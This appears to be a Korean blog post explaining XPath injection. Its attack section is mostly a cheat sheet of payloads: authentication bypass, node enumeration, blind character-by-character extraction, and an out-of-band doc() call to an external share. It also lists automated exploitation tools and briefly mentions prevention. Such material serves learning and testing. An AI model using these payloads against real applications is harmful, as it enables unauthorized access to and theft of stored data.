Security/Concept
XPATH Injection 공격 개념
Hyeon Gu
2024. 4. 25. 20:17
1. 개념
XPath Injection은 SQL Injection과 유사한 공격 기술로, 사용자 입력을 통해 XPath 쿼리를 조작하여 XML 문서를 탐색하거나 수정할 수 있습니다. 이를 통해 공격자는 데이터베이스에서 민감한 정보를 노출시키거나, 시스템을 완전히 제어할 수 있습니다.
XPath Injection은 사용자 입력을 사용하여 XPath (XML 경로 언어) 쿼리를 구성하고, 이를 사용하여 XML 문서를 쿼리하거나 탐색하는 응용 프로그램을 공격하는 기술입니다.
XPath Injection의 예방 방법으로는, 입력값 검증과 필터링이 가장 중요합니다. 또한, 적절한 인코딩과 파라미터화된 쿼리 사용을 통해 공격을 예방할 수 있습니다.
XPath 쿼리를 실행하는 도구로는 xcat, xxxpwn, xpath-blind-explorer, XMLCHOR 등이 있습니다.
2. 공격 방식
1. Exploitation
SQL Injection 공격과 유사합니다 .
"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
2. Blind Exploitation
- 문자열의 크기 and string-length(account)=SIZE_INT
- 문자 추출substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
3. Out Of Band Exploitation
<http://example.com/?title=Foundation&type=*&rent_days=*> and doc('//10.10.10.10/SHARE')
3. Tool
XPath 삽입 공격을 자동화하는 데 사용할 수 있는 일부 도구는 다음과 같습니다.
- [xcat] (https://github.com/orf/xcat) - 문서 검색을 위한 XPath 삽입 공격을 자동화하는 도구
- [xxxpwn] (https://github.com/feakk/xxxpwn) - 고급 XPath 삽입 도구
- [xxxpwn_smart] (https://github.com/aayla-secura/xxxpwn_smart) - 예측 텍스트를 사용하는 xxxpwn의 포크
- [xpath-blind-explorer] (https://github.com/micsoftvn/xpath-blind-explorer) - XPath 삽입 공격을 탐색하는 도구
- [XmlChor] (https://github.com/Harshal35/XMLCHOR) - XPath 삽입 공격을 악용하는 도구